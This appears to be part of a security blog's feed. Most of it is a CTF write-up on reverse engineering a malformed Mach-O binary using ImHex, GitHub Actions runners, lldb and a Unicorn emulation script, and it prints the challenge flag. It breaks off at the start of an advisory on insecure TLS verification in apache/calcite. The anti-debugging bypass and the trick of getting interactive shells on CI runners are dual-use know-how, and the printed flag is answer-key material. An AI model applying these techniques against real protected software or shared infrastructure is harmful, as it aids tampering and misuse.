	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">AbstractLibrarySupportLoader</span><span class="o">.</span><span class="na">loadProgram</span><span class="o">(</span><span class="nc">AbstractLibrarySupportLoader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">98</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">AbstractProgramLoader</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="nc">AbstractProgramLoader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">131</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">plugin</span><span class="o">.</span><span class="na">importer</span><span class="o">.</span><span class="na">ImporterUtilities</span><span class="o">.</span><span class="na">importSingleFile</span><span class="o">(</span><span class="nc">ImporterUtilities</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">395</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">plugin</span><span class="o">.</span><span class="na">importer</span><span class="o">.</span><span class="na">ImporterDialog</span><span class="o">.</span><span class="na">lambda</span><span class="n">$okCallback</span><span class="err">$</span><span class="mi">7</span><span class="o">(</span><span class="nc">ImporterDialog</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">336</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">task</span><span class="o">.</span><span class="na">TaskBuilder</span><span class="n">$TaskBuilderTask</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">TaskBuilder</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">306</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">task</span><span class="o">.</span><span class="na">Task</span><span class="o">.</span><span class="na">monitoredRun</span><span class="o">(</span><span class="nc">Task</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">134</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">task</span><span class="o">.</span><span class="na">TaskRunner</span><span class="o">.</span><span class="na">lambda</span><span class="n">$startTaskThread</span><span class="err">$</span><span class="mi">0</span><span class="o">(</span><span class="nc">TaskRunner</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">106</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">java</span><span class="o">.</span><span class="na">base</span><span class="o">/</span><span class="n">java</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">concurrent</span><span class="o">.</span><span class="na">ThreadPoolExecutor</span><span class="o">.</span><span class="na">runWorker</span><span class="o">(</span><span class="nc">ThreadPoolExecutor</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">1136</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">java</span><span class="o">.</span><span class="na">base</span><span class="o">/</span><span class="n">java</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">concurrent</span><span class="o">.</span><span class="na">ThreadPoolExecutor</span><span class="n">$Worker</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">ThreadPoolExecutor</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">635</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">java</span><span class="o">.</span><span class="na">base</span><span class="o">/</span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Thread</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">Thread</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">840</span><span class="o">)</span>
</code></pre></div></div>

<p>:/</p>

<p>We can still import the binary as a raw binary, but we won’t get any symbols or function names and if we try to auto-analyze it, Ghidra will crash with the same exception.</p>

<h2 id="analyzing-the-binary-in-imhex">Analyzing the Binary in ImHex</h2>

<p>What do we do when Ghidra fails us? We turn to a lower-level tool: ImHex.
Luckily, ImHex already has a Mach-O pattern, so we can just open the binary and start analyzing it, right?</p>

<p>Right?</p>

<p>Well, not quite.</p>

<p>When we open the binary in ImHex, we are greeted with this message:
<img src="/assets/images/brakerctf-24_imhex_macho_error.png" alt="Array expanded past end of data." title="ImHex error message" /></p>

<p>:/</p>

<p>While ImHex has an inbuilt debugger, I just uncommented the problematic pattern definition and reanalyzed the binary.
If we then look at the very first load command of type <code class="language-plaintext highlighter-rouge">Command::UUID</code>, we can see that the <code class="language-plaintext highlighter-rouge">uuid</code> field is not a valid UUID:
<img src="/assets/images/brakerctf-24_imhex_uuid.png" alt="The value of commandSize is 0x32." title="Invalid UUID" /></p>

<p>Normally, the <code class="language-plaintext highlighter-rouge">Command::UUID</code> consists of a 4-byte <code class="language-plaintext highlighter-rouge">command</code> field, a 4-byte <code class="language-plaintext highlighter-rouge">commandSize</code> field, and a 16-byte <code class="language-plaintext highlighter-rouge">uuid</code> field, so the <code class="language-plaintext highlighter-rouge">commandSize</code> should be 4 + 4 + 16 = 0x18, but it is 0x32.</p>

<p>ImHex only expects 0x18 bytes for the <code class="language-plaintext highlighter-rouge">Command::UUID</code> and then tries to parse the next load command, but the next load command is not at the expected offset.</p>

<p>We can easily fix this by changing the pattern definition from</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">command</span> <span class="o">==</span> <span class="n">Command</span><span class="o">::</span><span class="n">UUID</span><span class="p">)</span>
  <span class="n">CommandUUID</span> <span class="n">data</span><span class="p">;</span>
</code></pre></div></div>

<p>to</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">command</span> <span class="o">==</span> <span class="n">Command</span><span class="o">::</span><span class="n">UUID</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">CommandUUID</span> <span class="n">data</span><span class="p">;</span>
  <span class="n">u8</span> <span class="n">ignored</span><span class="p">[</span><span class="n">commandSize</span> <span class="o">-</span> <span class="mi">8</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CommandUUID</span><span class="p">)]</span> <span class="p">[[</span><span class="n">sealed</span><span class="p">]];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we now look at the load commands in the “Pattern Data” view, we can see that the next command — <code class="language-plaintext highlighter-rouge">Command::Segment64</code> is now parsed correctly:
<img src="/assets/images/brakerctf-24_imhex_pagezero.png" alt="The parsed __PAGEZERO segment that has unusual values." title="__PAGEZERO segment in ImHex" /></p>

<p>It is a <code class="language-plaintext highlighter-rouge">__PAGEZERO</code> segment that maps 3956 bytes starting at file offset 0x0 to virtual address 0x1000 with <code class="language-plaintext highlighter-rouge">r-x</code> permissions.
This is unusual, as <code class="language-plaintext highlighter-rouge">__PAGEZERO</code> is normally used to map the zero page <sup id="fnref:pagezero" role="doc-noteref"><a href="#fn:pagezero" class="footnote" rel="footnote">1</a></sup>, which is not executable and not writable.
With this information, we can now adjust the base address of the binary in both Ghidra and ImHex to 0x1000.</p>

<p>All other segments map exactly zero bytes, so they are not interesting.</p>

<p>However, we still don’t know where the entry point is, so we can’t start analyzing the binary.
As I write this, I <strong>now</strong> understand, that the entry point is determined by the <code class="language-plaintext highlighter-rouge">LC_UNIXTHREAD</code> command <sup id="fnref:lc_main" role="doc-noteref"><a href="#fn:lc_main" class="footnote" rel="footnote">2</a></sup>.
The <code class="language-plaintext highlighter-rouge">LC_UNIXTHREAD</code> command contains the full register state of the thread that is started when the binary is executed, including the instruction pointer (RIP) register, which points to the entry point of the binary.</p>

<p>As I had no way to run macOS binaries, I decided to (ab)use the macOS GitHub Actions runners to run the binary and see what it does :D</p>

<h2 id="abusing-macos-github-actions-runners-for-analysis">(Ab)using macOS GitHub Actions Runners for Analysis</h2>

<p>We create a new repository and add a new workflow file that uses the <a href="https://github.com/mxschmitt/action-tmate">mxschmitt/action-tmate</a> action.</p>

<p>This action starts a new tmate session and prints the SSH connection string to the log.
We can then connect to the runner and add the binary by for example base64 decoding it.</p>

<p>After connecting to the runner, we can run the binary and see what it does.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./command_injection
😕
</code></pre></div></div>

<p>Okay, now that we have a macOS runner, we can also use the <code class="language-plaintext highlighter-rouge">otool</code> command to analyze the binary.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>otool <span class="nt">-l</span> command_injection
<span class="o">[</span>...]
Load <span class="nb">command </span>5
        cmd LC_UNIXTHREAD
    cmdsize 184
     flavor x86_THREAD_STATE64
      count x86_THREAD_STATE64_COUNT
   rax  0x000000000200001a rbx 0x0000000000000000 rcx  0x0000000000000000
   rdx  0x0000000000000000 rdi 0x000000000000001f rsi  0x0000000000000000
   rbp  0x0000000000000000 rsp 0x0000000000000000 r8   0x0000000000000000
    r9  0x0000000000000000 r10 0x0000000000000000 r11  0x0000000000000000
   r12  0x0000000000000000 r13 0x0000000000000000 r14  0x0000000000000000
   r15  0x0000000000000000 rip 0x00000000000017bd
rflags  0x0000000000000000 cs  0x0000000000000000 fs   0x0000000000000000
    gs  0x0000000000000000
<span class="o">[</span>...]
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">0x00000000000017bd</code> is the entry point of the binary. However, I didn’t know at the time that the entry point is determined by <code class="language-plaintext highlighter-rouge">LC_UNIXTHREAD</code>.</p>

<p>So I tried to debug the binary with <code class="language-plaintext highlighter-rouge">lldb</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>lldb
<span class="o">(</span>lldb<span class="o">)</span> process launch <span class="nt">--stop-at-entry</span> <span class="nt">--</span> command_injection
Process 5805 stopped
<span class="k">*</span> thread <span class="c">#1, stop reason = signal SIGSTOP</span>
    frame <span class="c">#0: 0x00000000000017bd command_injection</span>
-&gt;  0x17bd: syscall
</code></pre></div></div>

<p>The binary stops at the entry point 🎉
However, it immediately exists when stepping over the <code class="language-plaintext highlighter-rouge">syscall</code> instruction.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process 5805 exited with status <span class="o">=</span> 45 <span class="o">(</span>0x0000002d<span class="o">)</span>
</code></pre></div></div>

<p>If we google for <code class="language-plaintext highlighter-rouge">exited with status = 45 (0x0000002d)</code> we find that this is an anti-debugging feature that is based on the <a href="https://cardaci.xyz/blog/2018/02/12/a-macos-anti-debug-technique-using-ptrace/">ptrace system call</a> <sup id="fnref:initial_registers" role="doc-noteref"><a href="#fn:initial_registers" class="footnote" rel="footnote">3</a></sup>.</p>

<p>We can easily bypass this by adjusting the entry point to the next instruction after the <code class="language-plaintext highlighter-rouge">syscall</code> instruction.</p>

<p>Now we can analyze the binary in <code class="language-plaintext highlighter-rouge">lldb</code> and all should be good, right?</p>

<p>Not really, tmate/tmux is painful-ish to use and I am not familiar with <code class="language-plaintext highlighter-rouge">lldb</code> and I didn’t want to learn it right now.</p>

<p>Instead, I figured that just emulating the binary with Unicorn would be easier and give me more control and insight into the binary.</p>

<h2 id="emulating-the-binary-with-unicorn">Emulating the Binary with Unicorn</h2>

<p>Unicorn is a lightweight multi-platform, multi-architecture CPU emulator framework.
It is very easy to use and has a Python binding, so we can easily write a script that emulates the binary and prints the instructions and register values.</p>

<p>However, we have to load the binary into memory and set up the initial register state ourselves, as we don’t have a loader that does this for us.</p>

<p>We set the entry point to <code class="language-plaintext highlighter-rouge">0x17bd + 2</code> because we want to skip the anti-debugging feature and the other registers to the values from the <code class="language-plaintext highlighter-rouge">LC_UNIXTHREAD</code> command.
Additionally, we have to set up the stack and the <code class="language-plaintext highlighter-rouge">argv[0]</code> variable.</p>

<p>The flag input is stored in <code class="language-plaintext highlighter-rouge">argv[0]</code>, so we just let it point to an empty string.</p>

<p>Also, we add hooks for tracing all instructions and memory accesses, so we can see what the binary does as well as a hook for all <code class="language-plaintext highlighter-rouge">cmp</code> instructions.</p>

<p>The <code class="language-plaintext highlighter-rouge">cmp</code> instructions are used to check whether the flag is correct, by comparing the value in <code class="language-plaintext highlighter-rouge">rax</code> with the value in <code class="language-plaintext highlighter-rouge">rdi</code>.
The value of <code class="language-plaintext highlighter-rouge">rax</code> is <code class="language-plaintext highlighter-rouge">rax ^ rcx</code>, so if we want to know the correct flag, we just have to XOR the value in <code class="language-plaintext highlighter-rouge">rdi</code> with the value in <code class="language-plaintext highlighter-rouge">rcx</code>.</p>

<p>If we run the script once, we get the flag part <code class="language-plaintext highlighter-rouge">brck{Y0U</code>. If we add this to the flag input, and run the script again, we get the next part <code class="language-plaintext highlighter-rouge">_M4cho_C</code>. If we repeat this once more, we get the full flag:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brck<span class="o">{</span>Y0U_M4cho_C0mm4ndr<span class="o">}</span>
</code></pre></div></div>

<h3 id="python-source-code">Python Source Code</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">unicorn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">unicorn.x86_const</span> <span class="kn">import</span> <span class="o">*</span>

<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">capstone.x86</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># Initialize capstone disassembler
</span><span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">"amd64"</span>

<span class="c1"># Memory address where emulation starts
</span><span class="n">ADDRESS</span> <span class="o">=</span> <span class="mh">0x1000</span>
<span class="n">START_ADDRESS</span> <span class="o">=</span> <span class="mh">0x00000000000017BD</span> <span class="o">+</span> <span class="mi">2</span>
<span class="n">STACK_START_ADDRESS</span> <span class="o">=</span> <span class="mh">0x7FFF_FF00_0000</span>
<span class="n">STACK_SIZE</span> <span class="o">=</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span>
<span class="n">STACK_END_ADDRESS</span> <span class="o">=</span> <span class="n">STACK_START_ADDRESS</span> <span class="o">+</span> <span class="n">STACK_SIZE</span>
<span class="n">STACK_ADDRESS</span> <span class="o">=</span> <span class="n">STACK_START_ADDRESS</span> <span class="o">+</span> <span class="n">STACK_SIZE</span> <span class="o">//</span> <span class="mi">2</span>

<span class="c1"># Load binary
</span><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"command_injection_orig"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">binary</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

<span class="c1"># Initialize emulator in X86-64 mode
</span><span class="n">mu</span> <span class="o">=</span> <span class="n">Uc</span><span class="p">(</span><span class="n">UC_ARCH_X86</span><span class="p">,</span> <span class="n">UC_MODE_64</span><span class="p">)</span>

<span class="c1"># Map 2MB memory for this emulation
</span><span class="n">mu</span><span class="p">.</span><span class="n">mem_map</span><span class="p">(</span><span class="n">ADDRESS</span><span class="p">,</span> <span class="mi">2</span> <span class="o">*</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span><span class="p">)</span>

<span class="c1"># Write binary to memory
</span><span class="n">mu</span><span class="p">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">ADDRESS</span><span class="p">,</span> <span class="n">binary</span><span class="p">)</span>

<span class="c1"># Map 1MB stack memory
</span><span class="n">mu</span><span class="p">.</span><span class="n">mem_map</span><span class="p">(</span><span class="n">STACK_START_ADDRESS</span><span class="p">,</span> <span class="n">STACK_SIZE</span><span class="p">)</span>

<span class="c1"># Initialize stack pointer
</span><span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RSP</span><span class="p">,</span> <span class="n">STACK_ADDRESS</span><span class="p">)</span>
<span class="c1"># Initialize argv[0]
</span><span class="n">argv0</span> <span class="o">=</span> <span class="p">[</span><span class="sa">b</span><span class="s">""</span><span class="p">]</span> <span class="c1"># flag input
</span><span class="n">argv0</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>  <span class="c1"># Null-terminate the argv[0] list
</span>
<span class="c1"># Write argv[0] to memory
</span><span class="n">argv_address</span> <span class="o">=</span> <span class="n">STACK_END_ADDRESS</span> <span class="o">-</span> <span class="mi">128</span> <span class="o">*</span> <span class="mi">8</span>  <span class="c1"># Allocate space for argv on the stack
</span><span class="n">mu</span><span class="p">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">argv_address</span><span class="p">,</span> <span class="n">argv0</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">mu</span><span class="p">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">argv_address</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">argv0</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>

<span class="n">mu</span><span class="p">.</span><span class="n">mem_write</span><span class="p">(</span>
    <span class="n">STACK_ADDRESS</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">argv_address</span><span class="p">)</span>
<span class="p">)</span>  <span class="c1"># Write the address of argv[0] to the stack
</span>
<span class="c1"># Initialize registers
</span><span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RAX</span><span class="p">,</span> <span class="mh">0x000000000200001A</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RBX</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RCX</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RDX</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RDI</span><span class="p">,</span> <span class="mh">0x000000000000001F</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RSI</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RBP</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="c1"># mu.reg_write(UC_X86_REG_RSP, 0x0000000000000000)
</span><span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R8</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R9</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R10</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R11</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R12</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R13</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R14</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_R15</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">)</span>
<span class="n">mu</span><span class="p">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_X86_REG_RIP</span><span class="p">,</span> <span class="n">START_ADDRESS</span><span class="p">)</span>


<span class="c1"># Tracing all instructions with customized callback
</span><span class="k">def</span> <span class="nf">hook_code</span><span class="p">(</span><span class="n">uc</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">user_data</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"&gt;&gt;&gt;"</span><span class="p">)</span>
    <span class="n">instruction</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">mem_read</span><span class="p">(</span><span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
    <span class="n">dis</span> <span class="o">=</span> <span class="n">disasm</span><span class="p">(</span><span class="n">instruction</span><span class="p">,</span> <span class="n">vma</span><span class="o">=</span><span class="n">address</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"0x</span><span class="si">{</span><span class="n">address</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">dis</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="n">r10</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_X86_REG_R10</span><span class="p">)</span>
    <span class="n">rsp</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_X86_REG_RSP</span><span class="p">)</span>
    <span class="n">rax</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_X86_REG_RAX</span><span class="p">)</span>
    <span class="n">rcx</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_X86_REG_RCX</span><span class="p">)</span>
    <span class="n">rdi</span> <span class="o">=</span> <span class="n">mu</span><span class="p">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_X86_REG_RDI</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"r10: </span><span class="si">{</span><span class="n">r10</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, rsp: </span><span class="si">{</span><span class="n">rsp</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, rax: </span><span class="si">{</span><span class="n">rax</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, rcx: </span><span class="si">{</span><span class="n">rcx</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, rdi: </span><span class="si">{</span><span class="n">rdi</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">address</span> <span class="o">==</span> <span class="mh">0x19BE</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"&gt;&gt;&gt; Stopping emulation"</span><span class="p">)</span>
        <span class="n">mu</span><span class="p">.</span><span class="n">emu_stop</span><span class="p">()</span>
    <span class="k">if</span> <span class="s">"cmp"</span> <span class="ow">in</span> <span class="n">dis</span> <span class="ow">and</span> <span class="n">rax</span> <span class="o">!=</span> <span class="n">rdi</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"&gt;&gt;&gt; Stopping emulation"</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="o">^</span><span class="n">rcx</span><span class="p">))</span>
        <span class="n">mu</span><span class="p">.</span><span class="n">emu_stop</span><span class="p">()</span>

<span class="n">mu</span><span class="p">.</span><span class="n">hook_add</span><span class="p">(</span><span class="n">UC_HOOK_CODE</span><span class="p">,</span> <span class="n">hook_code</span><span class="p">)</span>


<span class="c1"># Tracing all memory READ &amp; WRITE
</span><span class="k">def</span> <span class="nf">hook_mem_access</span><span class="p">(</span><span class="n">uc</span><span class="p">,</span> <span class="n">access</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">user_data</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">access</span> <span class="o">==</span> <span class="n">UC_MEM_WRITE</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span>
            <span class="sa">f</span><span class="s">"&gt;&gt;&gt; Memory is being WRITTEN at </span><span class="si">{</span><span class="n">address</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, data size = </span><span class="si">{</span><span class="n">size</span><span class="si">}</span><span class="s">, data value = </span><span class="si">{</span><span class="n">value</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s"> (</span><span class="si">{</span><span class="n">p64</span><span class="p">(</span><span class="n">value</span><span class="p">)</span><span class="si">}</span><span class="s">)"</span>
        <span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>  <span class="c1"># READ
</span>        <span class="k">print</span><span class="p">(</span>
            <span class="sa">f</span><span class="s">"&gt;&gt;&gt; Memory is being READ at </span><span class="si">{</span><span class="n">address</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s">, data size = </span><span class="si">{</span><span class="n">size</span><span class="si">}</span><span class="s">, data value = </span><span class="si">{</span><span class="n">value</span><span class="si">:</span><span class="c1">#x</span><span class="si">}</span><span class="s"> (</span><span class="si">{</span><span class="p">(</span><span class="n">mu</span><span class="p">.</span><span class="n">mem_read</span><span class="p">(</span><span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">))</span><span class="si">}</span><span class="s">)"</span>
        <span class="p">)</span>


<span class="n">mu</span><span class="p">.</span><span class="n">hook_add</span><span class="p">(</span><span class="n">UC_HOOK_MEM_READ</span> <span class="o">|</span> <span class="n">UC_HOOK_MEM_WRITE</span><span class="p">,</span> <span class="n">hook_mem_access</span><span class="p">)</span>

<span class="c1"># Emulate code in infinite time &amp; unlimited instructions
</span><span class="n">mu</span><span class="p">.</span><span class="n">emu_start</span><span class="p">(</span><span class="n">START_ADDRESS</span><span class="p">,</span> <span class="n">ADDRESS</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">binary</span><span class="p">))</span>

</code></pre></div></div>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:pagezero" role="doc-endnote">
      <p>See this <a href="https://apple.stackexchange.com/questions/435462/why-is-pagezero-missing-from-vmmap-output-at-darwin-21-2-0/435478#435478">Stack Overflow answer</a> for more information. <a href="#fnref:pagezero" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:lc_main" role="doc-endnote">
      <p>Newer binaries use the <code class="language-plaintext highlighter-rouge">LC_MAIN</code> load command, which is not present in this binary. <a href="#fnref:lc_main" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:initial_registers" role="doc-endnote">
      <p><code class="language-plaintext highlighter-rouge">ptrace</code> is called, because <code class="language-plaintext highlighter-rouge">rax</code> is set to <code class="language-plaintext highlighter-rouge">0x1a</code> in the initial register state. <a href="#fnref:initial_registers" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>intrigus</name></author><category term="research" /><summary type="html"><![CDATA[How to reverse engineer a Mach-O binary from BraekerCTF 2024 that breaks all tools.]]></summary></entry><entry><title type="html">ISL-2020-005: Missing Hostname Verification and Insecure TrustManager in apache/calcite</title><link href="https://intrigus.org/advisories/2023/11/27/ISL-2020-005-apache-calcite/" rel="alternate" type="text/html" title="ISL-2020-005: Missing Hostname Verification and Insecure TrustManager in apache/calcite" /><published>2023-11-27T00:00:00+00:00</published><updated>2023-11-27T00:00:00+00:00</updated><id>https://intrigus.org/advisories/2023/11/27/ISL-2020-005-apache-calcite</id><content type="html" xml:base="https://intrigus.org/advisories/2023/11/27/ISL-2020-005-apache-calcite/"><![CDATA[<h1 id="summary">Summary</h1>

<p>The <code class="language-plaintext highlighter-rouge">HttpUtils#getURLConnection</code> function of apache/calcite disabled hostname verification and used an insecure <code class="language-plaintext highlighter-rouge">TrustManager</code> for HTTPS connections making clients vulnerable to a machine-in-the-middle attack (MiTM).</p>

<h1 id="product">Product</h1>

<p><a href="https://github.com/apache/calcite">apache/calcite</a></p>

<h1 id="tested-version">Tested Version</h1>

